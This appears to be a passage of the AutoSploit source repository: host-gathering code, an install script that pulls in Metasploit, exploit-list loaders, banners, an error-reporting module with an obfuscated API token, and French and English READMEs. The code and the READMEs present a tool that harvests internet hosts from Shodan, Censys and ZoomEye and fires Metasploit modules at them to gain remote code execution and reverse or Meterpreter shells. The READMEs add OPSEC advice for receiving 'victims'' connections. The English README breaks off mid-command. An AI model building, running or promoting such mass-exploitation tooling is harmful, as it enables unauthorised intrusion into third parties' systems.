else: 84 | discovered_zoomeye_hosts.add(str(item["ip"][0])) 85 | write_to_file(discovered_zoomeye_hosts, self.host_file, mode=self.save_mode) 86 | return True 87 | except Exception as e: 88 | raise AutoSploitAPIConnectionError(str(e)) 89 | 90 | -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo " ____ __ __ ______ ___ _____ ____ _ ___ ____ ______ "; 4 | echo " / || | || | / \ / ___/| \| | / \| || |"; 5 | echo "| o || | || || ( \_ | o ) | | || | | |"; 6 | echo "| || | ||_| |_|| O |\__ || _/| |___ | O || | |_| |_|"; 7 | echo "| _ || : | | | | |/ \ || | | || || | | | "; 8 | echo "| | || | | | | |\ || | | || || | | | "; 9 | echo "|__|__| \__,_| |__| \___/ \___||__| |_____| \___/|____| |__| "; 10 | echo " "; 11 | 12 | function installDebian () { 13 | sudo apt-get update; 14 | sudo apt-get -y install git python2.7 python-pip postgresql apache2; 15 | pip2 install requests psutil; 16 | installMSF; 17 | } 18 | 19 | function installFedora () { 20 | sudo yum -y install git python-pip; 21 | pip2 install requests psutil; 22 | installMSF; 23 | } 24 | 25 | function installOSX () { 26 | xcode-select --install; 27 | /usr/bin/ruby -e "$(curl -fsSkL raw.github.com/mxcl/homebrew/go)"; 28 | echo PATH=/usr/local/bin:/usr/local/sbin:$PATH >> ~/.bash_profile; 29 | source ~/.bash_profile; 30 | brew tap homebrew/versions; 31 | brew install nmap; 32 | brew install homebrew/versions/ruby21; 33 | gem install bundler; 34 | brew install postgresql --without-ossp-uuid; 35 | initdb /usr/local/var/postgres; 36 | mkdir -p ~/Library/LaunchAgents; 37 | cp /usr/local/Cellar/postgresql/9.4.4/homebrew.mxcl.postgresql.plist ~/Library/LaunchAgents/; 38 | launchctl load -w ~/Library/LaunchAgents/homebrew.mxcl.postgresql.plist; 39 | createuser msf -P -h localhost; 40 | createdb -O msf msf -h localhost; 41 | installOsxMSF; 42 | } 43 | 44 | function installOsxMSF () { 45 | mkdir /usr/local/share; 46 | cd /usr/local/share/; 47 | git clone https://github.com/rapid7/metasploit-framework.git; 48 | cd metasploit-framework; 49 | for MSF in $(ls msf*); do ln -s /usr/local/share/metasploit-framework/$MSF /usr/local/bin/$MSF;done; 50 | sudo chmod go+w /etc/profile; 51 | sudo echo export MSF_DATABASE_CONFIG=/usr/local/share/metasploit-framework/config/database.yml >> /etc/profile; 52 | bundle install; 53 | echo "[!!] A DEFAULT CONFIG OF THE FILE 'database.yml' WILL BE USED"; 54 | rm /usr/local/share/metasploit-framework/config/database.yml; 55 | cat > /usr/local/share/metasploit-framework/config/database.yml << '_EOF' 56 | production: 57 | adapter: postgresql 58 | database: msf 59 | username: msf 60 | password: 61 | host: 127.0.0.1 62 | port: 5432 63 | pool: 75 64 | timeout: 5 65 | _EOF 66 | source /etc/profile; 67 | source ~/.bash_profile; 68 | } 69 | 70 | function installMSF () { 71 | if [[ ! "$(which msfconsole)" = */* ]]; then 72 | curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \ 73 | chmod 755 msfinstall && \ 74 | ./msfinstall; 75 | rm msfinstall; 76 | fi 77 | } 78 | 79 | function install () { 80 | case "$(uname -a)" in 81 | *Debian*|*Ubuntu*) 82 | installDebian; 83 | ;; 84 | *Fedora*) 85 | installFedora; 86 | ;; 87 | *Darwin*) 88 | installOSX; 89 | ;; 90 | *) 91 | echo "Unable to detect operating system that is compatible with AutoSploit..."; 92 | ;; 93 | esac 94 | echo ""; 95 | echo "Installation Complete"; 96 | } 97 | 98 | install; 99 | -------------------------------------------------------------------------------- /lib/jsonize.py: -------------------------------------------------------------------------------- 1 | import os 2 | import json 3 | import string 4 | import random 5 | 6 | import lib.output 7 | import lib.settings 8 | 9 | 10 | def random_file_name(acceptable=string.ascii_letters, length=7): 11 | """ 12 | create a random filename. 13 | 14 | `note: this could potentially cause issues if there 15 | a lot of files in the directory` 16 | """ 17 | retval = set() 18 | for _ in range(length): 19 | retval.add(random.choice(acceptable)) 20 | return ''.join(list(retval)) 21 | 22 | 23 | def load_exploit_file(path, node="exploits"): 24 | """ 25 | load exploits from a given file 26 | """ 27 | selected_file_path = path 28 | 29 | retval = [] 30 | try: 31 | with open(selected_file_path) as exploit_file: 32 | # loading it like this has been known to cause Unicode issues later on down 33 | # the road 34 | _json = json.loads(exploit_file.read()) 35 | for item in _json[node]: 36 | # so we'll reload it into a ascii string before we save it into the file 37 | retval.append(str(item)) 38 | except IOError as e: 39 | lib.settings.close(e) 40 | return retval 41 | 42 | 43 | def load_exploits(path, node="exploits"): 44 | """ 45 | load exploits from a given path, depending on how many files are loaded into 46 | the beginning `file_list` variable it will display a list of them and prompt 47 | or just select the one in the list 48 | """ 49 | retval = [] 50 | file_list = os.listdir(path) 51 | selected = False 52 | if len(file_list) != 1: 53 | lib.output.info("total of {} exploit files discovered for use, select one:".format(len(file_list))) 54 | while not selected: 55 | for i, f in enumerate(file_list, start=1): 56 | print("{}. '{}'".format(i, f[:-5])) 57 | action = raw_input(lib.settings.AUTOSPLOIT_PROMPT) 58 | try: 59 | selected_file = file_list[int(action) - 1] 60 | selected = True 61 | except Exception: 62 | lib.output.warning("invalid selection ('{}'), select from below".format(action)) 63 | selected = False 64 | else: 65 | selected_file = file_list[0] 66 | 67 | selected_file_path = os.path.join(path, selected_file) 68 | 69 | with open(selected_file_path) as exploit_file: 70 | # loading it like this has been known to cause Unicode issues later on down 71 | # the road 72 | _json = json.loads(exploit_file.read()) 73 | for item in _json[node]: 74 | # so we'll reload it into a ascii string before we save it into the file 75 | retval.append(str(item)) 76 | return retval 77 | 78 | 79 | def text_file_to_dict(path, filename=None): 80 | """ 81 | take a text file path, and load all of the information into a `dict` 82 | send that `dict` into a JSON format and save it into a file. it will 83 | use the same start node (`exploits`) as the `default_modules.json` 84 | file so that we can just use one node instead of multiple when parsing 85 | """ 86 | start_dict = {"exploits": []} 87 | with open(path) as exploits: 88 | for exploit in exploits.readlines(): 89 | # load everything into the dict 90 | start_dict["exploits"].append(exploit.strip()) 91 | if filename is None: 92 | filename_path = "{}/etc/json/{}.json".format(os.getcwd(), random_file_name()) 93 | else: 94 | filename_path = filename 95 | with open(filename_path, "a+") as exploits: 96 | # sort and indent to make it look pretty 97 | _data = json.dumps(start_dict, indent=4, sort_keys=True) 98 | exploits.write(_data) 99 | return filename_path 100 | -------------------------------------------------------------------------------- /lib/banner.py: -------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | 4 | VERSION = "3.1" 5 | 6 | 7 | def banner_1(line_sep="#--", space=" " * 30): 8 | banner = """\033[1m\033[36m{space_sep}_____ _ _____ _ _ _ 9 | {sep1}Author : Vector/NullArray | _ |_ _| |_ ___| __|___| |___|_| |_ 10 | {sep1}Twitter: @Real__Vector | | | | _| . |__ | . | | . | | _| 11 | {sep1}Type : Mass Exploiter |__|__|___|_| |___|_____| _|_|___|_|_| 12 | {sep1}Version: {v_num}{spacer} |_| 13 | ##############################################\033[0m 14 | """.format(sep1=line_sep, v_num=VERSION, space_sep=space, spacer=" " * 8) 15 | return banner 16 | 17 | 18 | def banner_2(): 19 | banner = r""" 20 | {blue}--+{end} {red}Graffiti the world with exploits{end} {blue}+--{end} 21 | {blue}--+{end} __ ____ {blue}+--{end} 22 | {blue}--+{end} / _\ / ___) {blue}+--{end} 23 | {blue}--+{end} / \\___ \ {blue}+--{end} 24 | {blue}--+{end} \_/\_/(____/ {blue}+--{end} 25 | {blue}--+{end} {red}AutoSploit{end} {blue}+--{end} 26 | {blue}--+{end} NullArray/Eku {blue}+--{end} 27 | {blue}--+{end}{minor_space2} v({red}{vnum}{end}){minor_space} {blue}+--{end} 28 | """.format(vnum=VERSION, blue="\033[36m", red="\033[31m", end="\033[0m", 29 | minor_space=" " * 1 if len(VERSION) == 3 else "", 30 | minor_space2=" " * 1 if len(VERSION) == 3 else "") 31 | return banner 32 | 33 | 34 | def banner_3(): 35 | banner = r'''#SploitaSaurusRex{green} 36 | O_ RAWR!! 37 | / > 38 | - > ^\ 39 | / > ^ / 40 | (O) > ^ / / / / 41 | _____ | \\|// 42 | / __ \ _/ / / _/ 43 | / / | | / / / / 44 | _/ |___/ / / ------_/ / 45 | ==_| \____/ _/ / ______/ 46 | \ \ __/ |\ 47 | | \_ ____/ / \ _ 48 | \ \________/ |\ \----/_V 49 | \_ / \_______ V 50 | \__ / \ / V 51 | \ \ \ 52 | \______ \_ \ 53 | \__________\_ \ 54 | / / \_ | 55 | | _/ \ | 56 | / _/ \ | 57 | | / | | 58 | \ \__ | \__ 59 | /\____=\ /\_____=\{end} v({vnum})'''''.format( 60 | green="\033[1m\033[32m", end="\033[0m", vnum=VERSION 61 | ) 62 | return banner 63 | 64 | 65 | def banner_4(): 66 | banner = r""" 67 | {red} .__. , __. . , {end} 68 | {red} [__]. .-+- _ (__ ._ | _ *-+- {end} 69 | {red} | |(_| | (_).__)[_)|(_)| | {end} 70 | {red} | {end} 71 | {red} _ ._ _ , _ ._ {end} 72 | {red} (_ ' ( ` )_ .__) {end} 73 | {red} ( ( ( ) `) ) _) {end} 74 | {red} (__ (_ (_ . _) _) ,__) {end} 75 | {red} `~~`\ ' . /`~~` {end} 76 | {red} ; ; {end} 77 | {red} / \ {end} 78 | {red} _____________/_ __ \_____________ {end} 79 | 80 | {blue}--------The Nuclear Option--------{end} 81 | {blue}-----+ v({red}{vnum}{end}{blue}){spacer}+-----{end} 82 | {blue}-----------NullArray/Eku----------{end} 83 | {blue}__________________________________{end} 84 | """.format(vnum=VERSION, blue="\033[36m", red="\033[31m", end="\033[0m", 85 | spacer=" " * 9 if len(VERSION) == 3 else " " * 7) 86 | return banner 87 | 88 | 89 | def banner_5(): 90 | banner = r""" 91 | {red}. ' .{end} 92 | {red}' .( '.) '{end} 93 | {white}_{end} {red}('-.)' (`'.) '{end} 94 | {white}|0|{end}{red}- -( #autosploit ){end} 95 | {grey}.--{end}{white}`+'{end}{grey}--.{end} {red}. (' -,).(') .{end} 96 | {grey}|`-----'|{end} {red}(' .) - ('. ){end} 97 | {grey}| |{end} {red}. (' `. ){end} 98 | {grey}| {red}.-.{end} {grey}|{end} {red}` . `{end} 99 | {grey}| {red}(0.0){end}{grey} |{end} 100 | {grey}| {red}>|=|<{end} {grey}|{end} 101 | {grey}| {red}`"`{end}{grey} |{end} 102 | {grey}| |{end} 103 | {grey}| |{end} 104 | {grey}`-.___.-'{end} 105 | v({red}{version}{end}) 106 | """.format(end="\033[0m", grey="\033[36m", white="\033[37m", version=VERSION, red="\033[31m") 107 | return banner 108 | 109 | 110 | def banner_main(): 111 | """ 112 | grab a random banner each run 113 | """ 114 | banners = [ 115 | banner_5, banner_4, 116 | banner_3, banner_2, banner_1 117 | ] 118 | if os.getenv("Graffiti", False): 119 | return banner_5() 120 | elif os.getenv("AutosploitOG", False): 121 | return banner_1() 122 | elif os.getenv("Nuclear", False): 123 | return banner_4() 124 | elif os.getenv("SploitaSaurusRex", False): 125 | return banner_3() 126 | elif os.getenv("Autosploit2", False): 127 | return banner_2() 128 | else: 129 | return random.choice(banners)() 130 | -------------------------------------------------------------------------------- /autosploit/main.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import ctypes 4 | import psutil 5 | import platform 6 | 7 | from lib.cmdline.cmd import AutoSploitParser 8 | from lib.term.terminal import AutoSploitTerminal 9 | from lib.creation.issue_creator import ( 10 | request_issue_creation, 11 | hide_sensitive 12 | ) 13 | from lib.output import ( 14 | info, 15 | prompt, 16 | misc_info 17 | ) 18 | from lib.settings import ( 19 | logo, 20 | load_api_keys, 21 | check_services, 22 | cmdline, 23 | close, 24 | EXPLOIT_FILES_PATH, 25 | START_SERVICES_PATH, 26 | save_error_to_file, 27 | ) 28 | from lib.jsonize import ( 29 | load_exploits, 30 | load_exploit_file 31 | ) 32 | 33 | 34 | def main(): 35 | try: 36 | 37 | try: 38 | is_admin = os.getuid() == 0 39 | except AttributeError: 40 | # we'll make it cross platform because it seems like a cool idea 41 | is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0 42 | 43 | if not is_admin: 44 | close("must have admin privileges to run") 45 | 46 | opts = AutoSploitParser().optparser() 47 | 48 | logo() 49 | info("welcome to autosploit, give us a little bit while we configure") 50 | misc_info("checking your running platform") 51 | platform_running = platform.system() 52 | misc_info("checking for disabled services") 53 | # according to ps aux, postgre and apache2 are the names of the services on Linux systems 54 | service_names = ("postgres", "apache2") 55 | try: 56 | for service in list(service_names): 57 | while not check_services(service): 58 | if "darwin" in platform_running.lower(): 59 | info( 60 | "seems you're on macOS, skipping service checks " 61 | "(make sure that Apache2 and PostgreSQL are running)" 62 | ) 63 | break 64 | choice = prompt( 65 | "it appears that service {} is not enabled, would you like us to enable it for you[y/N]".format( 66 | service.title() 67 | ) 68 | ) 69 | if choice.lower().startswith("y"): 70 | try: 71 | if "linux" in platform_running.lower(): 72 | cmdline("{} linux".format(START_SERVICES_PATH)) 73 | else: 74 | close("your platform is not supported by AutoSploit at this time", status=2) 75 | 76 | # moving this back because it was funky to see it each run 77 | info("services started successfully") 78 | # this tends to show up when trying to start the services 79 | # I'm not entirely sure why, but this fixes it 80 | except psutil.NoSuchProcess: 81 | pass 82 | else: 83 | process_start_command = "`sudo service {} start`" 84 | if "darwin" in platform_running.lower(): 85 | process_start_command = "`brew services start {}`" 86 | close( 87 | "service {} is required to be started for autosploit to run successfully (you can do it manually " 88 | "by using the command {}), exiting".format( 89 | service.title(), process_start_command.format(service) 90 | ) 91 | ) 92 | except Exception: 93 | pass 94 | 95 | if len(sys.argv) > 1: 96 | info("attempting to load API keys") 97 | loaded_tokens = load_api_keys() 98 | AutoSploitParser().parse_provided(opts) 99 | 100 | if not opts.exploitFile: 101 | misc_info("checking if there are multiple exploit files") 102 | loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) 103 | else: 104 | loaded_exploits = load_exploit_file(opts.exploitFile) 105 | misc_info("Loaded {} exploits from {}.".format( 106 | len(loaded_exploits), 107 | opts.exploitFile)) 108 | 109 | AutoSploitParser().single_run_args(opts, loaded_tokens, loaded_exploits) 110 | else: 111 | misc_info("checking if there are multiple exploit files") 112 | loaded_exploits = load_exploits(EXPLOIT_FILES_PATH) 113 | info("attempting to load API keys") 114 | loaded_tokens = load_api_keys() 115 | terminal = AutoSploitTerminal(loaded_tokens, loaded_exploits) 116 | terminal.terminal_main_display(loaded_tokens) 117 | except Exception as e: 118 | import traceback 119 | 120 | print( 121 | "\033[31m[!] AutoSploit has hit an unhandled exception: '{}', " 122 | "in order for the developers to troubleshoot and repair the " 123 | "issue AutoSploit will need to gather your OS information, " 124 | "current arguments, the error message, and a traceback. " 125 | "None of this information can be used to identify you in any way\033[0m".format(str(e)) 126 | ) 127 | error_traceback = ''.join(traceback.format_tb(sys.exc_info()[2])) 128 | error_class = str(e.__class__).split(" ")[1].split(".")[1].strip(">").strip("'") 129 | error_file = save_error_to_file(str(error_traceback), str(e), error_class) 130 | request_issue_creation(error_file, hide_sensitive(), str(e)) 131 | 132 | -------------------------------------------------------------------------------- /lib/creation/issue_creator.py: -------------------------------------------------------------------------------- 1 | import re 2 | import os 3 | import sys 4 | import json 5 | import platform 6 | import hashlib 7 | import base64 8 | try: 9 | from urllib2 import Request, urlopen 10 | except ImportError: 11 | from urllib.request import Request, urlopen 12 | 13 | import requests 14 | from bs4 import BeautifulSoup 15 | 16 | import lib.settings 17 | import lib.output 18 | import lib.banner 19 | 20 | try: 21 | raw_input 22 | except NameError: 23 | raw_input = input 24 | 25 | 26 | def create_identifier(data): 27 | obj = hashlib.sha1() 28 | try: 29 | obj.update(data) 30 | except: 31 | obj.update(data.encode("utf-8")) 32 | return obj.hexdigest()[1:10] 33 | 34 | 35 | def get_token(path): 36 | """ 37 | we know what this is for 38 | """ 39 | with open(path) as _token: 40 | data = _token.read() 41 | token, n = data.split(":") 42 | for _ in range(int(n)): 43 | token = base64.b64decode(token) 44 | return token 45 | 46 | 47 | def ensure_no_issue(param): 48 | """ 49 | ensure that there is not already an issue that has been created for yours 50 | """ 51 | urls = ( 52 | "https://github.com/NullArray/AutoSploit/issues", 53 | "https://github.com/NullArray/AutoSploit/issues?q=is%3Aissue+is%3Aclosed" 54 | ) 55 | for url in urls: 56 | req = requests.get(url) 57 | param = re.compile(param) 58 | try: 59 | if param.search(req.content) is not None: 60 | return True 61 | except: 62 | content = str(req.content) 63 | if param.search(content) is not None: 64 | return True 65 | return False 66 | 67 | 68 | def find_url(params): 69 | """ 70 | get the URL that your issue is created at 71 | """ 72 | searches = ( 73 | "https://github.com/NullArray/AutoSploit/issues", 74 | "https://github.com/NullArray/AutoSploit/issues?q=is%3Aissue+is%3Aclosed" 75 | ) 76 | for search in searches: 77 | retval = "https://github.com{}" 78 | href = None 79 | searcher = re.compile(params, re.I) 80 | req = requests.get(search) 81 | status, html = req.status_code, req.content 82 | if status == 200: 83 | split_information = str(html).split("\n") 84 | for i, line in enumerate(split_information): 85 | if searcher.search(line) is not None: 86 | href = split_information[i - 1] 87 | if href is not None: 88 | soup = BeautifulSoup(href, "html.parser") 89 | for item in soup.findAll("a"): 90 | link = item.get("href") 91 | return retval.format(link) 92 | return None 93 | 94 | 95 | def hide_sensitive(): 96 | sensitive = ( 97 | "--proxy", "-P", "--personal-agent", "-q", "--query", "-C", "--config", 98 | "--whitelist", "--msf-path" 99 | ) 100 | args = sys.argv 101 | for item in sys.argv: 102 | if item in sensitive: 103 | try: 104 | item_index = args.index(item) + 1 105 | hidden = ''.join([x.replace(x, "*") for x in str(args[item_index])]) 106 | args.pop(item_index) 107 | args.insert(item_index, hidden) 108 | return ' '.join(args) 109 | except: 110 | return ' '.join([item for item in sys.argv]) 111 | 112 | 113 | def request_issue_creation(path, arguments, error_message): 114 | """ 115 | request the creation and create the issue 116 | """ 117 | 118 | question = raw_input( 119 | "do you want to create an anonymized issue?[y/N]: " 120 | ) 121 | if question.lower().startswith("y"): 122 | # gonna read a chunk of it instead of one line 123 | chunk = 4096 124 | with open(path) as data: 125 | identifier = create_identifier(data.read(chunk)) 126 | # gotta seek to the beginning of the file since it's already been read `4096` into it 127 | data.seek(0) 128 | issue_title = "Unhandled Exception ({})".format(identifier) 129 | 130 | issue_data = { 131 | "title": issue_title, 132 | "body": ( 133 | "Autosploit version: `{}`\n" 134 | "OS information: `{}`\n" 135 | "Running context: `{}`\n" 136 | "Error meesage: `{}`\n" 137 | "Error traceback:\n```\n{}\n```\n" 138 | "Metasploit launched: `{}`\n".format( 139 | lib.banner.VERSION, 140 | platform.platform(), 141 | ' '.join(sys.argv), 142 | error_message, 143 | open(path).read(), 144 | lib.settings.MSF_LAUNCHED, 145 | ) 146 | ) 147 | } 148 | 149 | _json_data = json.dumps(issue_data) 150 | if sys.version_info > (3,): # python 3 151 | _json_data = _json_data.encode("utf-8") 152 | 153 | if not ensure_no_issue(identifier): 154 | req = Request( 155 | url="https://api.github.com/repos/nullarray/autosploit/issues", data=_json_data, 156 | headers={"Authorization": "token {}".format(get_token(lib.settings.TOKEN_PATH))} 157 | ) 158 | urlopen(req, timeout=10).read() 159 | lib.output.info( 160 | "issue has been generated with the title '{}', at the following " 161 | "URL '{}'".format( 162 | issue_title, find_url(identifier) 163 | ) 164 | ) 165 | else: 166 | lib.output.error( 167 | "someone has already created this issue here: {}".format(find_url(identifier)) 168 | ) 169 | try: 170 | os.remove(path) 171 | except: 172 | pass 173 | else: 174 | lib.output.info("the issue has been logged to a file in path: '{}'".format(path)) -------------------------------------------------------------------------------- /.github/.translations/README-fr.md: -------------------------------------------------------------------------------- 1 | # AutoSploit 2 | 3 | Comme vous pouvez l'imaginer au vu du nom de ce projet, AutoSploit automatise l'exploitation d'hôtes distantes connectées à internet. Les adresses des hôtes à attaquer sont collectées automatiquement grâce à l'aide de Shodan, Censys et Zoomeye. Vous pouvez également utiliser vos propres listes de cibles. 4 | Les modules Metasploit disponibles ont été sélectionnés afin de faciliter l'obtention d'exécution de code à distance ( Remote Code Execution, ou RCE ), qui permettent ensuite de créer des sessions terminal inversées ( reverse shell ) ou meterpreter ( via metasploit ). 5 | 6 | **Ne soyez pas stupides** 7 | 8 | Recevoir les connexions de vos victimes directement sur votre ordinateur n'est pas vraiment une bonne idée. Vous devriez considérer l'option de dépenser quelques euros dans un VPS ( ou VPN ). 9 | 10 | La nouvelle version d'AutoSploit permet néanmoins de définir un proxy et un User-Agent personalisé. 11 | 12 | # Liens utiles 13 | 14 | - [Utilisation](https://github.com/NullArray/AutoSploit/README-fr.md#Utilisation) 15 | - [Installation](https://github.com/NullArray/AutoSploit/README-fr.md#Installation) 16 | - [Dépendances](https://github.com/NullArray/AutoSploit/README-fr.md#Dépendances)) 17 | - [Wiki](https://github.com/NullArray/AutoSploit/wiki) 18 | - [Options d'usage extensif](https://github.com/NullArray/AutoSploit/wiki/Usage#usage-options) 19 | - [Captures d'écran](https://github.com/NullArray/AutoSploit/wiki/Examples-and-images) 20 | - [Rapporter un bug, donner une idée](https://github.com/NullArray/AutoSploit/wiki/Bugs-and-ideas#bugs) 21 | - [Lignes directrices du développement](https://github.com/NullArray/AutoSploit/wiki/Development-information#development-of-autosploit) 22 | - [Développement](https://github.com/NullArray/AutoSploit/README-fr.md#Développement) 23 | - [Serveur discord ( en anglais, mais ne vous découragez pas ! )](https://discord.gg/9BeeZQk) 24 | 25 | 26 | # Installation 27 | 28 | Installer AutoSploit est un jeu d'enfant. Vous pouvez trouver la dernière version stable [ici](https://github.com/NullArray/AutoSploit/releases/tag/2.0). Vous pouvez aussi télécharger la branche ``master`` en [zip](https://github.com/NullArray/AutSploit/zipball/master) ou en [tarball](https://github.com/NullArray/AutSploit/tarball/master). Vous pouvez également suivre une des méthodes ci-dessous; 29 | 30 | ###### Cloner 31 | 32 | ```bash 33 | sudo -s << EOF 34 | git clone https://github.com/NullArray/Autosploit.git 35 | cd AutoSploit 36 | pip2 install -r requirements.txt 37 | python2 autosploit.py 38 | EOF 39 | ``` 40 | 41 | ###### Docker 42 | 43 | ```bash 44 | sudo -s << EOF 45 | git clone https://github.com/NullArray/AutoSploit.git 46 | cd AutoSploit/Docker 47 | docker network create -d bridge haknet 48 | docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres 49 | docker build -t autosploit . 50 | docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit 51 | EOF 52 | ``` 53 | 54 | Plus d'informations sur la façon d'utiliser Docker [ici](https://github.com/NullArray/AutoSploit/tree/master/Docker) 55 | 56 | ## Utilisation 57 | 58 | L'ouverture du programme avec `python autosploit.py` devrait ouvrir une session terminal AutoSploit. Les options sont les suivantes ( en anglais ). 59 | 60 | ``` 61 | 1. Usage And Legal 62 | 2. Gather Hosts 63 | 3. Custom Hosts 64 | 4. Add Single Host 65 | 5. View Gathered Hosts 66 | 6. Exploit Gathered Hosts 67 | 99. Quit 68 | ``` 69 | 70 | Sélectionner l'option `2` vous demandra de choisir quel type d'hôtes rechercher. Vous pouvez par exemple rentrer `IIS` ou `Apache`. Ensuite, on vous demandera quel moteurs de recherches doivent être utilisés lors de la recherche. Si tout fontionne correctement, les hôtes collectées seront sauvegardées et utilisables dans le menu d'exploitation ( `Exploit` ) 71 | 72 | Depuis la version 2.0, AutoSploit peut être lancé avec des arguments/drapeaux. Pour en savoir plus, exécutez `python autosploit.py -h`. 73 | Pour référence, voici les options ( en anglais ). 74 | 75 | ``` 76 | usage: python autosploit.py -[c|z|s|a] -[q] QUERY 77 | [-C] WORKSPACE LHOST LPORT [-e] 78 | [--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH 79 | [--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT 80 | 81 | optional arguments: 82 | -h, --help show this help message and exit 83 | 84 | search engines: 85 | possible search engines to use 86 | 87 | -c, --censys use censys.io as the search engine to gather hosts 88 | -z, --zoomeye use zoomeye.org as the search engine to gather hosts 89 | -s, --shodan use shodan.io as the search engine to gather hosts 90 | -a, --all search all available search engines to gather hosts 91 | 92 | requests: 93 | arguments to edit your requests 94 | 95 | --proxy PROTO://IP:PORT 96 | run behind a proxy while performing the searches 97 | --random-agent use a random HTTP User-Agent header 98 | -P USER-AGENT, --personal-agent USER-AGENT 99 | pass a personal User-Agent to use for HTTP requests 100 | -q QUERY, --query QUERY 101 | pass your search query 102 | 103 | exploits: 104 | arguments to edit your exploits 105 | 106 | -E PATH, --exploit-file PATH 107 | provide a text file to convert into JSON and save for 108 | later use 109 | -C WORKSPACE LHOST LPORT, --config WORKSPACE LHOST LPORT 110 | set the configuration for MSF (IE -C default 127.0.0.1 111 | 8080) 112 | -e, --exploit start exploiting the already gathered hosts 113 | 114 | misc arguments: 115 | arguments that don't fit anywhere else 116 | 117 | --ruby-exec if you need to run the Ruby executable with MSF use 118 | this 119 | --msf-path MSF-PATH pass the path to your framework if it is not in your 120 | ENV PATH 121 | ``` 122 | 123 | # Dépendances 124 | 125 | AutoSploit exige la présence des modules Python2.7 suivants. 126 | 127 | ``` 128 | requests 129 | psutil 130 | beautifulsoup4 131 | ``` 132 | 133 | Si vous ne les avez pas, vous pouvez les installer avec les commandes ci-dessous ( dans le dossier d'AutoSploit ): 134 | 135 | ```bash 136 | pip install requests psutil beautifulsoup4 137 | ``` 138 | 139 | ou 140 | 141 | ```bash 142 | pip install -r requirements.txt 143 | ``` 144 | 145 | Comme le programme invoque des fonctionalités du Metasploit, vous devez l'avoir installé au préalable. Vous pouvez en obtenir une copie depuis le site de Rapid7 en cliquant [ici](https://www.rapid7.com/products/metasploit/). 146 | 147 | ### Développement 148 | 149 | Même si AutoSploit n'est pas vraiment en Béta, il est sujet à des changements dans le futur. 150 | 151 | Si vous souhaitez rester à jour au niveau du développement et obtenir avant tout le monde toutes les super nouvelles fonctionalités, utilisez la [branche de développement](https://github.com/NullArray/AutoSploit/tree/dev-beta). 152 | 153 | Si vous voulez contribuer au développement de ce projet, lisez [CONTRIBUTING.md](https://github.com/NullArray/AutoSploit/blob/master/CONTRIBUTING.md). Ce fichier contient nos lignes directrices de contribution. 154 | 155 | Aussi, lisez nos [standards de contribution](https://github.com/NullArray/AutoSploit/wiki/Development-information#contribution-standards) avant d'envoyer une pull request. 156 | 157 | Si vous souhaitez obtenir de l'aide avec le code, ou juste partager avec les autres membres de la communauté d'AutoSploit, rejoignez-nous sur notre [serveur Discord](https://discord.gg/9BeeZQk). ( Nous ne mordons pas ) 158 | 159 | ## Note 160 | 161 | Si vous rencontrez un bug et que vous souhaitez le signaler, [ouvrez un ticket](https://github.com/NullArray/AutoSploit/issues). 162 | 163 | Merci d'avance. 164 | 165 | Traduction par [jesuiscamille](https://github.com/jesuiscamille). J'ai probablement fait des erreurs de conjugaison/orthographe/traduction. N'hésitez pas à juste [ouvrir un ticket](https://github.com/NullArray/AutoSploit/issues), c'est rapide et ça nous encourage :) ! 166 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 |
3 | As the name might suggest AutoSploit attempts to automate the exploitation of remote hosts. Targets can be collected automatically through Shodan, Censys or Zoomeye. But options to add your custom targets and host lists have been included as well. The available Metasploit modules have been selected to facilitate Remote Code Execution and to attempt to gain Reverse TCP Shells and/or Meterpreter sessions. Workspace, local host and local port for MSF facilitated back connections are configured by filling out the dialog that comes up before the exploit component is started 4 | 5 | **Operational Security Consideration** 6 | 7 | Receiving back connections on your local machine might not be the best idea from an OPSEC standpoint. Instead consider running this tool from a VPS that has all the dependencies required, available. 8 | 9 | The new version of AutoSploit has a feature that allows you to set a proxy before you connect and a custom user-agent. 10 | 11 | # Helpful links 12 | 13 | - [Usage](https://github.com/NullArray/AutoSploit#usage) 14 | - [Installing](https://github.com/NullArray/AutoSploit#Installation) 15 | - [Dependencies](https://github.com/NullArray/AutoSploit#dependencies) 16 | - [User Manual](https://github.com/NullArray/AutoSploit/wiki) 17 | - [Extensive usage breakdown](https://github.com/NullArray/AutoSploit/wiki/Usage#usage-options) 18 | - [Screenshots](https://github.com/NullArray/AutoSploit/wiki/Examples-and-images) 19 | - [Reporting bugs/ideas](https://github.com/NullArray/AutoSploit/wiki/Bugs-and-ideas#bugs) 20 | - [Development guidelines](https://github.com/NullArray/AutoSploit/wiki/Development-information#development-of-autosploit) 21 | - [Shoutouts](https://github.com/NullArray/AutoSploit#acknowledgements) 22 | - [Development](https://github.com/NullArray/AutoSploit#active-development) 23 | - [Discord server](https://discord.gg/9BeeZQk) 24 | - [README translations](https://github.com/NullArray/AutoSploit#translations) 25 | 26 | # Installation 27 | 28 | Installing AutoSploit is very simple, you can find the latest stable release [here](https://github.com/NullArray/AutoSploit/releases/latest). You can also download the master branch as a [zip](https://github.com/NullArray/AutSploit/zipball/master) or [tarball](https://github.com/NullArray/AutSploit/tarball/master) or follow one of the below methods; 29 | 30 | ###### Cloning 31 | 32 | ```bash 33 | sudo -s << EOF 34 | git clone https://github.com/NullArray/Autosploit.git 35 | cd AutoSploit 36 | chmod +x install.sh 37 | ./install.sh 38 | python2 autosploit.py 39 | EOF 40 | ``` 41 | 42 | ###### Docker 43 | 44 | ```bash 45 | sudo -s << EOF 46 | git clone https://github.com/NullArray/AutoSploit.git 47 | cd AutoSploit 48 | chmod +x install.sh 49 | ./install.sh 50 | cd AutoSploit/Docker 51 | docker network create -d bridge haknet 52 | docker run --network haknet --name msfdb -e POSTGRES_PASSWORD=s3cr3t -d postgres 53 | docker build -t autosploit . 54 | docker run -it --network haknet -p 80:80 -p 443:443 -p 4444:4444 autosploit 55 | EOF 56 | ``` 57 | 58 | On any Linux system the following should work; 59 | 60 | ```bash 61 | git clone 